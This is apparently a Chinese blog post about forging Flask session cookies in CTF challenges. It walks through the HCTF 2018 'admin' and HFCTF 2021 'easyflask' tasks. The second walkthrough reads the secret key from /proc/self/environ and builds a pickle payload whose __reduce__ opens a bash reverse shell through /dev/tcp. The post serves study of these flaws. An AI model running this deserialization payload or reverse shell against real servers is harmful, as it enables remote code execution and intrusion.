前言
这段时间刷题遇见过几次在flask框架中伪造session的,也经常和其他flask框架的两大漏洞SSTI和py反序列化结合来考,今天就写这篇文章学习一下在ctf题目里flask中的session伪造问题。
flask中的session
flask是非常轻量级的web框架,它的session是存储在客户端的,是用户可见的,这也就是造成session伪造的根本原因。在flask框架使用session只需要导入session模块即可。在本地开启一个flask服务。
from flask import Flask,session
app = Flask(__name__)
app.secret_key = "iamXiLitter"
@app.route('/')
def set_session():
if 'name' in session:
name = session['name']
if name == "XiLitter":
return "欢迎XiLitter"
if name == "admin":
return "欢迎admin"
else:
return "你是谁"
else:
session['name']="XiLitter"
return "session重新设置"
if __name__ == '__main__':
app.run(debug=False,port=8000)
打开cookie查看到有session,值是类似于base64编码的字符串。
拿去base64解码,看看里面的存储格式是什么样的。
是json格式存储,还有一堆乱码,那应该就是数据签名。
session安全问题
flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。
app.secret_key = "iamXiLitter"
正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录。
github上是有伪造脚本的,python2和python3的都有,下载链接:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
本机环境python3,有了密钥,对session进行伪造。
伪造出的session添加到cookie中重新刷新 。成功登录admin
通过两道题目体会session伪造在ctf中的应用。
[HCTF 2018]admin
这道题貌似有很多解法。session伪造是其中一种。它这个给的提示有些隐晦,我们注册登录后,在修改密码的地方查看源代码,有题目源码地址。
单看这个链接也能猜到用的是flask框架。要进行session伪造就必须要拿到密钥。把源码打包下载下来。可以在config.py中找到密钥。
密钥为ckj123。那么就先看看客户端session。在这里直接base64解码是不行的,在网上找解密脚本运行出来。
我们只需要将name中的qwe值替换为admin就可以了。利用密钥伪造出admin的session,还是利用脚本。
拿去替换原来的session就可以成功admin登录啦。
[HFCTF 2021 Final]easyflask
上一个题是专门考察session伪造的,那么这一题就是结合py反序列化一起考察的题目。
直接看题目,跟着提示很容易找到源码。
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
先对代码进行审计。因为对python代码不是很熟,所以比较啰嗦。审计flask主要看路由。先看/路由。序列化上面的User类,将序列化值存储在session中。再看/file路由。很明显,它主要对file传入的内容进行一个路径拼接,然后进行一个过滤,最后读取该路径的文件内容。最后是/admin路由。对session中的值进行反序列化,最后判断是否为admin。
这题主要围绕session进行攻击的,所以对session的任意伪造是必不可少的。那么伪造session必须得找到密钥。题目没有直接给我们。唯一能找到密钥的点就是/file路由的文件读取。读取/proc/self/environ就可以得到密钥。个人认为是读取当前进程的环境变量,密钥在环境变量里。
那么密钥就是glzjin22948575858jfjfjufirijidjitg3uiiuuh。剩下就是py反序列化了。思路很简单,直接构造__reduce__魔术方法执行rce。
直接构造恶意类,貌似直接命令执行会报错误,这里用反弹shell解决。
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())
这个User类有点奇怪,用了type函数,但是type返回的就是类,所以无影响。而lambda就是匿名函数了,冒号后面的表达式会被执行。在这里我卡了好久,用本机运行出来的序列化串一直无法打通,最后我在kali里用python2运行出来的序列化串可以成功反弹shell。但是环境不是python3的吗,不理解。
那就kali运行出序列化串,
然后就是将这串值加入到session中,先将session拿出来看看结构。这个可以base64解码直接看的
然后就是利用脚本进行伪造了。同时开启监听。
访问/admin路由,将session替换掉,然后重新刷新,接着我的vps成功反弹了shell。在根目录成功找到flag。
注意一定要在linux环境下用python2运行出序列化串才能打通。
结语
flask的session伪造大部分都是跑脚本,只有在找密钥这个地方花点心思。同时,它可以结合许多的漏洞结合起来考察。所以在flask代码中出现SECRET_KEY就要留意一下是不是跟session伪造有关了。
相关链接: